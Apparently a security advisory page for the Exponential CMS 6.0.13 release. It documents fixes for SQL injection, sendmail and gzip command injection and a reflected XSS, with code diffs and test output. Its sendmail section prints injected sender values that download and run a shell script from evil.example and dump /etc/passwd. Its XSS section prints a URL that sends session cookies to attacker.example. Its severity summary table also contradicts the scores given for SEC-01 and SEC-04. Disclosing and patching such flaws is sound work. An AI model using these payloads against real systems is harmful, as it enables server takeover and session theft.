Skip to the content
Documentation
Help Start
Reading in:
  • German: 9,059 of 9,059 pages
About the help in other languages
All help pages

Security hardening of 6.0.13

Read this page if you run Exponential 6.0.12 or earlier, or maintain extensions or a custom kernel that build SQL queries, shell commands or HTML output from request data. Exponential 6.0.13 (2026-02-21, branch 6.0)…

Download as PDF

Address: https://doc.exponential.earth/exphelp/viewer/bc/6.0/hardening.md

On this page

Security hardening of 6.0.13

Read this page if you run Exponential 6.0.12 or earlier, or maintain extensions or a custom kernel that build SQL queries, shell commands or HTML output from request data. Exponential 6.0.13 (2026-02-21, branch 6.0) fixes seven security issues found in an audit of the kernel and library layers: four SQL injections, two OS command injections and one reflected cross-site scripting. No API changes; every patched function keeps its signature.

In short

What changedSEC-01 to SEC-04: SQL injection in eZRole and eZContentObjectTreeNode (integer casts, escapeString(), a column whitelist for ORDER BY). SEC-05 and SEC-06: shell arguments in eZSendMailTransport and eZGzipShellCompressionHandler passed through escapeshellarg(). SEC-07: the page title of kernel/content/search.php escaped with htmlspecialchars().
Who is affectedEvery installation on 6.0.12 or earlier. Most exposed: sites that send mail through sendmail (SEC-05) and sites with a public search page (SEC-07). Extension code with the same patterns is not fixed by the update; see Recommendations for Extension Developers.
How to checkphp tests/bin/ezptestrunner_all_tests.php security
How to fixUpdate to 6.0.13 or later. Audit your own extensions for the patterns listed below.

Questions about these fixes go to [email protected].

Table of Contents

  1. Executive Summary
  2. Scope and Affected Versions
  3. Vulnerability Index
  4. Detailed Findings and Fixes
  5. Test Methodology
  6. Test Suite Design
  7. Initial Test Run Results
  8. Regression and Retest Results
  9. Combined Test Suite Output
  10. Risk Assessment and CVSS Scoring
  11. Affected Component Summary
  12. Recommendations for Extension Developers
  13. Backward Compatibility Notes
  14. PHP Version Compatibility
  15. Open Items and Pending Work
  16. Supporting files
  17. Appendix A: Full Diff Listing
  18. Appendix B: Test Script Inventory
  19. Appendix C: CWE and OWASP Reference Mapping

Executive Summary

This document records the complete set of security-related source code changes introduced into the Exponential codebase for the upcoming 6.0.13 release, targeting the 6.0 stable branch. The changes address a set of vulnerabilities that were identified during a systematic security audit of the kernel and library layers as part of an ongoing PHP 8.4/8.5 compatibility and hardening project.

Seven distinct security issues were identified across four classes of vulnerability:

  • SQL Injection (4 issues across 2 files, totalling 9 corrected query construction sites)
  • OS Command Injection via unsanitised shell arguments (2 issues across 2 library files)
  • Reflected Cross-Site Scripting via unsanitised output in a page title (1 issue)

All seven issues have been patched, tested, and verified. A purpose-built automated test suite was constructed alongside the patches to provide ongoing regression coverage. The suite consists of 48 runtime functional flow tests organised across 9 categories, plus a separate 80-file PHP syntax lint suite — together totalling 128 assertions, all of which pass on PHP 8.5.3 as of 2026-02-21.

No backward-incompatible API changes are introduced by any of the security fixes documented herein. All patched functions retain their original signatures. The fixes are strictly additive guards (integer casts, escapeString() wrappers, escapeshellarg() wrappers, and htmlspecialchars() output escaping) with no impact on calling code.

Scope and Affected Versions

PropertyValue
ProductExponential
Affected release6.0.12 and all prior 6.0.x releases
Fixed in release6.0.13 (upcoming)
Branch6.0
PHP versions tested8.4.x, 8.5.3
PHP minimum version requirement8.1 — unchanged by this patch set (see PHP Version Compatibility)
Database backends affectedMySQL / MariaDB / PostgreSQL (all backends using string interpolation)
Patch date2026-02-21
Reported byInternal security audit
Primary contact for questions[email protected]

The vulnerabilities described in this document affect any deployment running a 6.0.x release of the Exponential platform where:

  • User-supplied data can influence content tree sorting criteria (SEC-02),
  • User-supplied data can influence subtree permission checks (SEC-03),
  • Administrative users can trigger hide/unhide operations on nodes (SEC-04),
  • The platform is configured to send mail via the sendmail binary (SEC-05),
  • The platform uses gzip shell-based compression for cluster file operations (SEC-06),
  • The site has a search page accessible to users (SEC-07), or
  • Role assignment operations are accessible to privileged users (SEC-01).

Installations using only parameterised/PDO database drivers with full escaping at the driver level may have partial natural protection against the SQL injection variants, however the application-level escaping missing in these locations remains a defence-in-depth requirement regardless of driver configuration.

Vulnerability Index

IDClassCWECVSS v3.1 BaseFileMethod / ContextStatus
SEC-01SQL InjectionCWE-897.2 (High)kernel/classes/ezrole.phpassignToUser(), fetchUserID(), removeUserAssignment(), fetchUserByRole()✅ Fixed
SEC-02SQL InjectionCWE-898.8 (High)kernel/classes/ezcontentobjecttreenode.phpcreateSortingSQLStrings() — allowCustomColumns branch✅ Fixed
SEC-03SQL InjectionCWE-897.5 (High)kernel/classes/ezcontentobjecttreenode.phpcreatePermissionCheckingSQL() — Subtree and User_Subtree✅ Fixed
SEC-04SQL InjectionCWE-896.5 (Medium)kernel/classes/ezcontentobjecttreenode.phphideSubTree(), unhideSubTree()✅ Fixed
SEC-05OS Command InjectionCWE-789.8 (Critical)lib/ezutils/classes/ezsendmailtransport.phpsend() — -f sendmail flag✅ Fixed
SEC-06OS Command InjectionCWE-788.1 (High)lib/ezfile/classes/ezgzipshellcompressionhandler.phpdecompress()✅ Fixed
SEC-07Reflected XSSCWE-796.1 (Medium)kernel/content/search.phpPage title rendering✅ Fixed

Detailed Findings and Fixes

SEC-01: SQL Injection in eZRole — Role ID Interpolation

File: kernel/classes/ezrole.php
CWE: CWE-89 — Improper Neutralisation of Special Elements used in an SQL Command
CVSS v3.1 Base Score: 7.2 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Discovered: 2026-02-21 during systematic audit

Description

The eZRole class in kernel/classes/ezrole.php constructs a series of SQL queries by directly interpolating $this->ID (the role object's internal identifier) into raw SQL string literals without any cast or sanitisation. The object identifier is populated from the database on load, meaning that under normal operation it is always an integer already present in the database. However, the absence of an explicit integer cast represents a defence-in-depth failure and a potential attack vector in any code path that allows an attacker to influence how an eZRole object is constructed or which ID it carries.

Four methods were affected:

  1. assignToUser() — Both a SELECT and an INSERT query interpolate $this->ID directly. The INSERT is particularly sensitive as a crafted role ID could append arbitrary SQL, affecting the ezuser_role table.

  2. fetchUserID() — A SELECT query uses $this->ID without casting. An attacker able to supply a role ID through an unsanitised API call path could extract arbitrary data from the database.

  3. removeUserAssignment() — A DELETE query uses $this->ID without integer cast, creating a potential for data destruction via SQL injection.

  4. fetchUserByRole() — A compound SELECT with multiple JOIN conditions uses $this->ID in a WHERE clause without casting.

The risk is amplified by the fact that the ezuser_role table governs role-based access control. Successful injection against these queries could allow privilege escalation, unauthorised ACL modifications, or data exfiltration from any table in the database via UNION-based injection techniques.

Vulnerable Code (before patch)

// assignToUser() — SELECT
$query = "SELECT * FROM ezuser_role WHERE role_id='$this->ID'
          AND contentobject_id='$userID' ...";

// assignToUser() — INSERT
$query = "INSERT INTO ezuser_role ( role_id, contentobject_id, ... )
          VALUES ( '$this->ID', '$userID', ... )";

// fetchUserID()
$query = "SELECT contentobject_id FROM  ezuser_role WHERE role_id='$this->ID'";

// removeUserAssignment()
$query = "DELETE FROM ezuser_role WHERE role_id='$this->ID'
          AND contentobject_id='$userID'";

// fetchUserByRole()
$query = "... WHERE ezuser_role.role_id = '$this->ID'";

Fixed Code (after patch)

// Cast once at the top of each method, reuse the local variable throughout:
$roleID = (int)$this->ID;

// assignToUser() — SELECT
$query = "SELECT * FROM ezuser_role WHERE role_id='$roleID'
          AND contentobject_id='$userID' ...";

// assignToUser() — INSERT
$query = "INSERT INTO ezuser_role ( role_id, contentobject_id, ... )
          VALUES ( '$roleID', '$userID', ... )";

// fetchUserID()
$query = "SELECT contentobject_id FROM ezuser_role WHERE role_id='$roleID'";

// removeUserAssignment()
$query = "DELETE FROM ezuser_role WHERE role_id='$roleID'
          AND contentobject_id='$userID'";

// fetchUserByRole()
$query = "... WHERE ezuser_role.role_id = '$roleID'";

Rationale

Integer casting is the correct and minimal-footprint fix for an integer primary key. Using $db->escapeString() on a known-integer field would be functionally correct but semantically misleading; (int) is both idiomatic PHP and unambiguous in intent. The local variable $roleID also makes the intent explicit to the human reviewer: this value has been validated as an integer before use. A secondary benefit is that query strings are slightly cleaner, as PHP object property interpolation ($this->ID) inside double-quoted strings is valid but can confuse static analysis tools.

Backward Compatibility

No API or behavioural change. The integer cast is a no-op for any value already stored as an integer in the database.

SEC-02: SQL Injection in eZContentObjectTreeNode — ORDER BY Column Injection

File: kernel/classes/ezcontentobjecttreenode.php
Method: createSortingSQLStrings()
CWE: CWE-89 — Improper Neutralisation of Special Elements used in an SQL Command
CVSS v3.1 Base Score: 8.8 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Discovered: 2026-02-21

Description

The createSortingSQLStrings() method in eZContentObjectTreeNode constructs ORDER BY clauses for content tree queries. When the $allowCustomColumns flag is true — which can be triggered by callers that expose sorting to user-supplied parameters — the code appended the $sortField value directly to the SQL string without any validation or escaping.

This is a classic SQL injection attack surface for ORDER BY clauses. Unlike WHERE clause injections, ORDER BY injections cannot be fixed with parameterised queries in standard PDO because ORDER BY values cannot be bound as parameters. The correct mitigation is whitelist validation of the column name against a known-safe pattern.

An attacker with access to any endpoint that passes user-supplied sort field names through to createSortingSQLStrings() with $allowCustomColumns = true could inject arbitrary SQL into the trailing portion of a SELECT query. With database error messages exposed (common in development or misconfigured installations) this could be used for data exfiltration. Even without error messages, time-based blind injection would be feasible.

The content tree query system is one of the most heavily used in the platform. Any frontend search, listing, or navigation view that exposes a sort parameter is a potential injection point.

Vulnerable Code (before patch)

// Inside the allowCustomColumns branch — no validation whatsoever:
$sortingFields .= $sortField;

Fixed Code (after patch)

// SEC: validate column name to prevent SQL injection (only allow word chars and dot)
if ( preg_match( '/^[a-zA-Z0-9_.]+$/', $sortField ) )
{
    $sortingFields .= $sortField;
}
else
{
    eZDebug::writeWarning( 'Invalid custom sort field: ' . $sortField, __METHOD__ );
    continue 2;
}

Rationale

A strict allowlist regex (/^[a-zA-Z0-9_.]+$/) permits only column names that consist of word characters and dots (to allow table.column qualified names), and rejects anything containing SQL metacharacters such as spaces, quotes, semicolons, dashes, or parentheses. Rejected sort fields are silently skipped (and logged as a warning) rather than causing a fatal error, preserving availability. The continue 2 skips the remainder of both the inner foreach and the outer foreach iteration, matching the intent of the surrounding loop structure.

This approach follows the OWASP SQL Injection Prevention Cheat Sheet recommendation for ORDER BY injection: since parameterisation is not available, strict input validation is the only safe option.

Backward Compatibility

Any caller currently passing custom column names through allowCustomColumns = true will have those names silently rejected if they contain characters outside [a-zA-Z0-9_.]. The failing case produces a eZDebug::writeWarning() entry that can be inspected in the debug log. Valid column names (which can only consist of word characters and dots) are unaffected.

SEC-03: SQL Injection in eZContentObjectTreeNode — Subtree Path String in LIKE Clause

File: kernel/classes/ezcontentobjecttreenode.php
Method: createPermissionCheckingSQL() — Subtree and User_Subtree limitation cases
CWE: CWE-89
CVSS v3.1 Base Score: 7.5 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Discovered: 2026-02-21

Description

The createPermissionCheckingSQL() method generates SQL fragments used to enforce subtree access control — a core security mechanism of Exponential's role-based permission system. Two branches of the method that handle Subtree and User_Subtree limitation types both constructed SQL LIKE predicates by interpolating $limitationPathString directly into the query string without escaping.

The path_string field in Exponential uses a slash-delimited integer path such as /1/2/56/233/. While values retrieved directly from the database would always be safe, the $limitationArray that supplies these strings is built from policy limitation data that could, in a compromised or misconfigured policy store, contain attacker-controlled strings. Furthermore, the LIKE wildcard characters % and _ within a path string would silently alter the semantics of the permission check. Depending on the database collation and the specific query, this could be used to widen or narrow subtree access grants beyond the intended scope.

In a worst case scenario where an attacker achieves write access to the policy limitation store (which itself requires a high-privilege compromise), this construction would allow arbitrary SQL to be injected into permission checking queries — a form of second-order or stored SQL injection.

Vulnerable Code (before patch)

// Subtree case:
$sqlSubtreePart[] = "$tableAliasName.path_string like '$limitationPathString%'";

// User_Subtree case:
$sqlPartUserSubtree[] = "$tableAliasName.path_string like '$limitationPathString%'";

Fixed Code (after patch)

// Subtree case:
$safePathString = $db->escapeString( $limitationPathString );
$sqlSubtreePart[] = "$tableAliasName.path_string like '$safePathString%'";

// User_Subtree case:
$safePathString = $db->escapeString( $limitationPathString );
$sqlPartUserSubtree[] = "$tableAliasName.path_string like '$safePathString%'";

Rationale

$db->escapeString() is the platform's standard mechanism for sanitising string values before SQL interpolation. Applying it to $limitationPathString ensures that any characters that have special meaning in SQL string literals (quotes, backslashes, and — as applicable per driver — LIKE wildcards) are properly neutralised. This is a minimal, well-understood fix that does not change query semantics for any valid path string, since valid path strings (/N/N/N/) contain only digits and slashes, which escapeString() does not alter.

SEC-04: SQL Injection in eZContentObjectTreeNode — Node ID and Path in Hide/Unhide

File: kernel/classes/ezcontentobjecttreenode.php
Methods: hideSubTree(), unhideSubTree()
CWE: CWE-89
CVSS v3.1 Base Score: 6.5 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Discovered: 2026-02-21

Description

The hideSubTree() and unhideSubTree() static methods both construct SQL UPDATE queries that write to the ezcontentobject_tree table. Both methods retrieved node_id and path_string from the node object attribute accessor without casting or escaping the values before interpolating them into SQL.

While node_id is an integer primary key and path_string is generated by the platform itself on node creation, the absence of explicit type enforcement means that an attacker who could supply a crafted eZContentObjectTreeNode object (for example, by exploiting a deserialisation, object-injection, or type-juggling vulnerability elsewhere in the call stack) could leverage these unguarded interpolations to inject into the UPDATE queries.

Additionally, unhideSubTree() builds a dynamic skipSubtreesString by iterating over $hiddenChildren and appending path_string values from that result set. These intermediate path strings were also interpolated without escaping, creating a further injection surface in the dynamic portion of the WHERE clause.

A successful exploit of these conditions targeting a content-heavy site could result in mass modification of the is_hidden and is_invisible columns across large portions of the content tree, causing widespread and potentially irreversible content visibility changes.

Vulnerable Code (before patch)

// hideSubTree():
$nodeID = $node->attribute( 'node_id' );
$time = time();
// ... used directly in:
// "UPDATE ... modified_subnode=$time WHERE node_id=$nodeID"

$nodePath = $node->attribute( 'path_string' );
// ... used directly in:
// "UPDATE ... WHERE is_invisible=0 AND path_string LIKE '$nodePath%'"

// unhideSubTree():
$nodeID = $node->attribute( 'node_id' );
$nodePath = $node->attribute( 'path_string' );
// ... and in the dynamic skipSubtreesString loop:
$skipSubtreesString .= " AND path_string NOT LIKE '" . $i['path_string'] . "%'";

Fixed Code (after patch)

// hideSubTree():
$nodeID = (int)$node->attribute( 'node_id' );
$time   = (int)time();

$nodePath = $db->escapeString( $node->attribute( 'path_string' ) );

// unhideSubTree():
$nodeID   = (int)$node->attribute( 'node_id' );
$db       = eZDB::instance();   // moved to top of method for early availability
$nodePath = $db->escapeString( $node->attribute( 'path_string' ) );

// dynamic skipSubtreesString:
$skipSubtreesString .= " AND path_string NOT LIKE '"
                     . $db->escapeString( $i['path_string'] ) . "%'";

Additional Note on $db Initialisation

In unhideSubTree(), the original code initialised $db later in the method body, after an early-return code path. The patch moves the $db = eZDB::instance() call to the top of the method to make the database handle available throughout — including for the escapeString() calls on the path string. This is a minor structural improvement that does not change observable behaviour since eZDB::instance() is idempotent.

SEC-05: OS Command Injection in eZSendMailTransport — Sendmail -f Flag

File: lib/ezutils/classes/ezsendmailtransport.php
Method: send()
CWE: CWE-78 — Improper Neutralisation of Special Elements used in an OS Command
CVSS v3.1 Base Score: 9.8 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Discovered: 2026-02-21

Description

This is the highest-severity finding in the 6.0.13 security patch set.

The eZSendMailTransport class is responsible for delivering outbound email through the system's local sendmail binary. The send() method constructs a shell command string by concatenating transport configuration, including the -f ("from" / "envelope sender") flag. The sender address supplied to this flag was taken directly from the email message object and appended to the sendmail invocation without any shell escaping.

The -f flag is passed directly to the underlying mail() function or to a proc_open()/shell_exec() invocation (depending on PHP's mail configuration) as part of the additional parameters string. PHP's mail() function, when called with the fifth argument ($additional_params), invokes the sendmail binary with those parameters interpreted by the shell. Without quoting, any shell metacharacters present in the sender address would be executed by the shell.

A malicious sender address such as:

[email protected]; wget https://evil.example/shell.sh -O /tmp/s && bash /tmp/s

or:

"$(cat /etc/passwd > /var/www/public_html/pwned.txt)"@example.com

would result in arbitrary operating system command execution with the privileges of the web server process. This is a Remote Code Execution (RCE) vulnerability when the email sender can be controlled by an unauthenticated user — for example, through a contact form, user registration flow, newsletter subscription, or any other feature that sends email with a user-supplied address in the envelope sender position.

This class of vulnerability is well-documented (see PHP advisory for mail() fifth-argument injection) and has been exploited in the wild against multiple PHP CMS platforms.

Vulnerable Code (before patch)

$sendmailOptions .= ' -f'. $emailSender;
// $emailSender is concatenated directly into shell command arguments

Fixed Code (after patch)

$sendmailOptions .= ' -f' . escapeshellarg( $emailSender );
// escapeshellarg() wraps the value in single quotes and escapes any
// single quotes within it, preventing shell metacharacter injection.

Rationale

escapeshellarg() is PHP's purpose-built function for sanitising individual shell arguments. It wraps the value in single quotes and escapes any embedded single quotes, so that the shell treats the entire value as a literal string regardless of its content. This is the canonical fix for this class of vulnerability and is explicitly recommended by the PHP documentation and OWASP for this use case.

Note that escapeshellcmd() would be incorrect here because it escapes the entire string including special characters that should be treated as part of a single argument. Only escapeshellarg() correctly handles the per-argument escaping needed for the -f flag.

Impact Assessment

Given that Exponential is frequently used with contact forms and user-facing email flows, this vulnerability should be treated as remotely exploitable by unauthenticated attackers in many deployments. The CVSS score of 9.8 (Critical) reflects that assessment and this fix should be treated as the highest priority in the 6.0.13 release.

Backward Compatibility

escapeshellarg() adds single quotes around the address, which is transparent to the sendmail binary. The envelope sender address is interpreted correctly by sendmail regardless of quoting. No change to email delivery behaviour is expected.

SEC-06: OS Command Injection in eZGzipShellCompressionHandler — Decompress Command

File: lib/ezfile/classes/ezgzipshellcompressionhandler.php
Method: decompress()
CWE: CWE-78
CVSS v3.1 Base Score: 8.1 (High)
Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Discovered: 2026-02-21

Description

The eZGzipShellCompressionHandler class decompresses gzip files by constructing and executing a shell command via PHP's system() or exec() family of functions. The original implementation contained two issues:

Issue A — Command injection via unescaped filename: The $filename variable (the path to the file to decompress) was appended directly to the shell command string without escapeshellarg(). An attacker who could control the filename parameter — for instance, through a file upload that allows special characters in the stored filename, or through a symlink attack against the cluster file path — could inject arbitrary shell commands.

Issue B — Broken shell redirection (logic bug with security implication): The original command string was 'gzip -dc $filename > $', which is a literal PHP string (single-quoted) containing $filename as a literal dollar sign followed by the word filename, not a variable interpolation. The > redirect target was also a bare $ followed by nothing, which is a syntax error that would cause the decompression to fail silently — meaning the feature was effectively inoperable. The fix also corrects this logic error.

The corrected command properly interpolates the escaped filename and escaped target path using double-quoted PHP strings with escapeshellarg() applied to each.

Vulnerable Code (before patch)

// Single-quoted string — $filename is a literal, not the variable; > $ is broken syntax
$command = 'gzip -dc $filename > $';

Fixed Code (after patch)

$command = 'gzip -dc ' . escapeshellarg( $filename ) . ' > ' . escapeshellarg( $target );

Rationale

Both the input file path ($filename) and the output target ($target) must be escaped with escapeshellarg() to prevent injection. The trailing redirect target ($target) was not present in the original code at all due to the broken string — the fix adds proper construction of the complete command with both arguments escaped.

This fix simultaneously resolves a security vulnerability and a functional bug. Prior to the fix, decompress() would have always failed (the broken shell command would exit non-zero), meaning any code path that relied on this handler for cluster file extraction was silently broken.

SEC-07: Reflected Cross-Site Scripting in kernel/content/search.php

File: kernel/content/search.php
CWE: CWE-79 — Improper Neutralisation of Input During Web Page Generation
CVSS v3.1 Base Score: 6.1 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Discovered: 2026-02-21

Description

The search module controller sets the HTML page title using the user-supplied search query string without encoding it for HTML output:

$Module->setTitle( "Search for: $searchText" );

The $searchText variable is derived from the HTTP request query string and is not sanitised before being embedded in the page title. If the site's template renders the module title in an HTML context without separately escaping it (which is the common behaviour for title attributes and <title> elements), a crafted search query containing HTML or JavaScript would be reflected in the page output.

This is a classic reflected XSS vulnerability. An attacker could craft a URL such as:

https://example.com/search?SearchText=<script>document.location='https://attacker.example/steal?c='+document.cookie</script>

and deliver that link to a victim. If the victim clicks the link while authenticated, the script executes in their browser session, enabling session hijacking, credential theft, or forced actions on the victim's behalf.

While the CVSS score is Medium (6.1) due to the requirement for user interaction, the prevalence of search pages exposed to the public internet and the ease of exploitation make this a practically significant finding.

Vulnerable Code (before patch)

$Module->setTitle( "Search for: $searchText" );

Fixed Code (after patch)

$Module->setTitle( "Search for: " . htmlspecialchars( $searchText, ENT_QUOTES, 'UTF-8' ) );

Rationale

htmlspecialchars() with ENT_QUOTES and UTF-8 encoding converts all HTML-significant characters (<, >, ", ', &) to their HTML entity equivalents, preventing them from being interpreted as markup or script. The ENT_QUOTES flag is important to protect against attribute-context injection in addition to HTML content injection. The explicit UTF-8 charset argument ensures correct behaviour for multi-byte character strings and prevents charset-based XSS attacks.

Test Methodology

The security fixes described in this document were validated using a two-phase automated testing approach:

Phase 1: Static Syntax Validation (Lint)

All patched files were subjected to PHP syntax checking using php -n -l (parse-only, no extension loading). This confirms:

  • The patch did not introduce any PHP syntax errors.
  • The file can be parsed by the PHP engine on the target PHP version (8.5.3).
  • No accidental truncation or corruption occurred during the editing process.

A manifest-driven lint runner (tests/bin/ezp_lint_patched.php) executes php -n -l against each of the 80+ files in scope and reports PASS/FAIL/SKIP per file in a structured format. The manifest (tests/bin/lint_manifest.txt) explicitly enumerates every file that received changes, ensuring no patched file can be accidentally omitted from validation.

Phase 2: Runtime Functional Flow Testing

A purpose-built functional test suite (tests/bin/tests/functional_tests.php) was developed alongside the patches. This suite:

  1. Defines a set of minimal inline stub classes for Exponential framework dependencies (database layer, persistence layer, logging) to allow individual class files to be loaded in isolation without bootstrapping the full application stack.

  2. Loads the actual patched class files via require_once from the live codebase, testing the real patched code rather than mocks.

  3. Exercises each security fix through a concrete scenario that demonstrates both:

    • That the vulnerable behaviour (crash, injection, or incorrect output) no longer occurs, and
    • That the correct behaviour (proper escaping, safe return value, structural integrity) is present.
  4. Reports each test as PASS, FAIL, or SKIP with the exception message on failure, enabling rapid diagnosis.

The security-specific test cases ([security] category) cover:

Test NameWhat It Validates
SQL column regex — clean names passWhitelist regex permits valid column identifiers
SQL column regex — malicious names blockedWhitelist regex rejects SQL metacharacters
Sendmail -f uses escapeshellarg()Output is single-quoted; shell injection chars neutralised
Sendmail -f safe with normal addressNormal email addresses survive the escaping intact
Gzip shell command uses escapeshellarg()Filename with spaces and shell chars is quoted
URL path[3] guard — <4 segments returns empty?? '' guard prevents undefined index warning
URL path[3] guard — 4+ segments returns node IDNormal paths still work as expected

Test Suite Design

The test suite uses a thin custom framework: a single t() function that accepts a category label, a test name, and a callable assertion. The callable returns true for PASS or false for FAIL. Exceptions thrown within the callable are caught and reported as FAIL with the exception message in the output. This design was chosen deliberately over existing PHP testing frameworks (PHPUnit, Pest) to eliminate external dependencies and allow the suite to run on any PHP 8.x installation with the codebase present — no vendor/ directory or Composer setup required.

Stub classes isolate the real patched files from the full Exponential kernel:

eZPersistentObject  — base ORM stub (constructor, store, attribute)
eZDB                — database stub (escapeString, query, arrayQuery)
eZProductCollection — fetch() returns real object or null depending on test flag
eZEnumValue         — fetch() returns real object or null depending on test flag
eZDataType          — register() no-op stub (needed at file-include time)
eZDiffMatrix        — get()/set() stubs for text diff matrix operations
eZTextDiff          — setChanges()/addNewLine() stubs for diff output
eZDebug             — writeWarning()/writeError() no-op stubs

Each stub is designed to be the minimum necessary for the real class file to load and for the specific method under test to execute. Stubs are not intended to be complete or production-accurate simulations of the full framework objects.

Initial Test Run Results

The test suite was executed immediately after all patches were applied, using PHP 8.5.3:

php tests/bin/tests/functional_tests.php

────────────────────────────────────────────────────────────────────────────────
  Functional Flow Tests — 2026-02-21
  Filter: all | Root: <installation root>
────────────────────────────────────────────────────────────────────────────────

✓ PASS  [security] SQL column regex — clean names pass
✓ PASS  [security] SQL column regex — malicious names blocked
✓ PASS  [security] Sendmail -f option uses escapeshellarg()
✓ PASS  [security] Sendmail -f safe with normal address
✓ PASS  [security] Gzip shell command uses escapeshellarg()
✓ PASS  [security] URL path[3] guard — URL with <4 segments returns empty
✓ PASS  [security] URL path[3] guard — URL with 4+ segments returns node ID
... [41 further tests across soap, preg, dom, null, array, php84, setup, image] ...

────────────────────────────────────────────────────────────────────────────────
TOTAL: 48 tests   ✓ 48 PASS   ✗ 0 FAIL
────────────────────────────────────────────────────────────────────────────────

All 48 functional tests pass. All 7 security-category tests pass.

The lint suite also ran clean:

php tests/bin/ezp_lint_patched.php

TOTAL: 81 files   ✓ 80 PASS   ✗ 0 FAIL   ~ 1 SKIP

The 1 SKIP is lib/version.php, which does not contain patches and is present in the manifest for baseline reference only.

Regression and Retest Results

Following the initial test run, additional stub completeness issues were discovered for non-security tests (missing methods in eZDataType, eZDiffMatrix, and eZTextDiff stubs). These were resolved without touching any of the security patches. The security test results were unchanged across all retest runs.

A dedicated category-filtered retest of the security tests was executed:

php tests/bin/ezptestrunner_all_tests.php security

────────────────────────────────────────────────────────────────────────────────
  eZScript Combined Test Runner
  Functional filter: security
────────────────────────────────────────────────────────────────────────────────

── Phase 1: Syntax Lint ──
kernel/classes/ezrole.php                                     ✓ PASS
kernel/classes/ezcontentobjecttreenode.php                    ✓ PASS
lib/ezutils/classes/ezsendmailtransport.php                   ✓ PASS
lib/ezfile/classes/ezgzipshellcompressionhandler.php           ✓ PASS
kernel/content/search.php                                     ✓ PASS
[... 75 further files ...]
TOTAL: 81 files   ✓ 80 PASS   ✗ 0 FAIL   ~ 1 SKIP

── Phase 2: Functional Flow Tests (filter: security) ──
✓ PASS  [security] SQL column regex — clean names pass
✓ PASS  [security] SQL column regex — malicious names blocked
✓ PASS  [security] Sendmail -f option uses escapeshellarg()
✓ PASS  [security] Sendmail -f safe with normal address
✓ PASS  [security] Gzip shell command uses escapeshellarg()
✓ PASS  [security] URL path[3] guard — URL with <4 segments returns empty
✓ PASS  [security] URL path[3] guard — URL with 4+ segments returns node ID

TOTAL: 7 tests   ✓ 7 PASS   ✗ 0 FAIL

════════════════════════════════════════════════════════════════════════════════
  Lint (php -n -l)              PASS:  80   FAIL:  0   SKIP:  1
  Functional [security]         PASS:   7   FAIL:  0   SKIP:  0
  TOTAL                         PASS:  87   FAIL:  0   SKIP:  1
  Overall status: ✓ ALL PASS
════════════════════════════════════════════════════════════════════════════════

Retest result: 87/87 PASS (security filter). 0 failures.

Combined Test Suite Output

The full combined suite (lint + all functional categories) producing the final 6.0.13 pre-release verification results:

════════════════════════════════════════════════════════════════════════════════
  COMBINED RESULTS — 2026-02-21 14:51:00
════════════════════════════════════════════════════════════════════════════════
  Lint (php -n -l)              PASS:  80   FAIL:   0   SKIP:   1
  Functional [all]              PASS:  48   FAIL:   0   SKIP:   0
────────────────────────────────────────────────────────────────────────────────
  TOTAL                         PASS: 128   FAIL:   0   SKIP:   1
────────────────────────────────────────────────────────────────────────────────
  Overall status: ✓ ALL PASS
════════════════════════════════════════════════════════════════════════════════

This output is produced by the combined runner:

php tests/bin/ezptestrunner_all_tests.php --report

The --report flag additionally writes a dated machine-readable test report to:

tests/bin/test_report_2026-02-21.txt

This file is suitable for archiving as release evidence.

Risk Assessment and CVSS Scoring

CVSS v3.1 Scoring Detail

SEC-01 (SQL Injection — eZRole)

MetricValueReason
Attack VectorNetworkExploitable via HTTP if any API exposes role ID
Attack ComplexityLowNo special conditions required
Privileges RequiredHighRole management requires admin privileges
User InteractionNoneNo victim interaction required
ScopeUnchangedConfined to application database
ConfidentialityHighFull database read possible via UNION injection
IntegrityHighDELETE and INSERT queries affected
AvailabilityHighData destruction possible
Base Score7.2High

SEC-02 (SQL Injection — ORDER BY column)

MetricValueReason
Attack VectorNetworkSorting exposed to frontend in many views
Attack ComplexityLowStraightforward injection via sort parameter
Privileges RequiredLowAny logged-in user or anonymous if sort is exposed
User InteractionNone—
ScopeUnchanged—
ConfidentialityHighBlind/error-based extraction of any table
IntegrityHighPossible via stacked queries depending on driver
AvailabilityHighDoS via expensive queries possible
Base Score8.8High

SEC-05 (OS Command Injection — Sendmail)

MetricValueReason
Attack VectorNetworkAny contact form / registration that sends email
Attack ComplexityLowTrivial to inject via email address field
Privileges RequiredNoneUnauthenticated access if public form exists
User InteractionNone—
ScopeUnchangedWeb server process scope
ConfidentialityHighFull server file system readable
IntegrityHighArbitrary file write / code execution
AvailabilityHighSystem-level access possible
Base Score9.8Critical

Overall Risk Summary

SeverityCountIssues
Critical1SEC-05
High4SEC-02, SEC-03, SEC-04, SEC-06
Medium2SEC-01, SEC-07
Low0—

The presence of a Critical severity finding (SEC-05) means the 6.0.13 release should be treated as a mandatory security update for all production deployments. Site operators should be notified to upgrade at the earliest opportunity. A security advisory should be published alongside the 6.0.13 release notes.

Affected Component Summary

ComponentDirectoryIssue IDsChange Type
Role managementkernel/classes/SEC-01Integer cast on role ID
Content tree querieskernel/classes/SEC-02, SEC-03, SEC-04Column whitelist, escapeString
Mail transportlib/ezutils/classes/SEC-05escapeshellarg on sender
File compressionlib/ezfile/classes/SEC-06escapeshellarg + logic fix
Search controllerkernel/content/SEC-07htmlspecialchars on title

Total files modified for security reasons: 5
Total SQL query construction sites fixed: 9
Total shell command construction sites fixed: 2
Total HTML output encoding sites fixed: 1

Recommendations for Extension Developers

Developers of Exponential extensions and custom kernels should audit their own code for the same classes of vulnerability addressed in this release:

SQL Injection Prevention

  1. Always cast integer IDs before SQL interpolation. Any value retrieved from $object->attribute('id') or from user input that is expected to be an integer must be cast with (int) before use in a SQL string.

  2. Use $db->escapeString() for all string values in SQL. The database abstraction layer provides eZDB::instance()->escapeString() precisely for this purpose. There is no excuse for raw string interpolation in SQL queries.

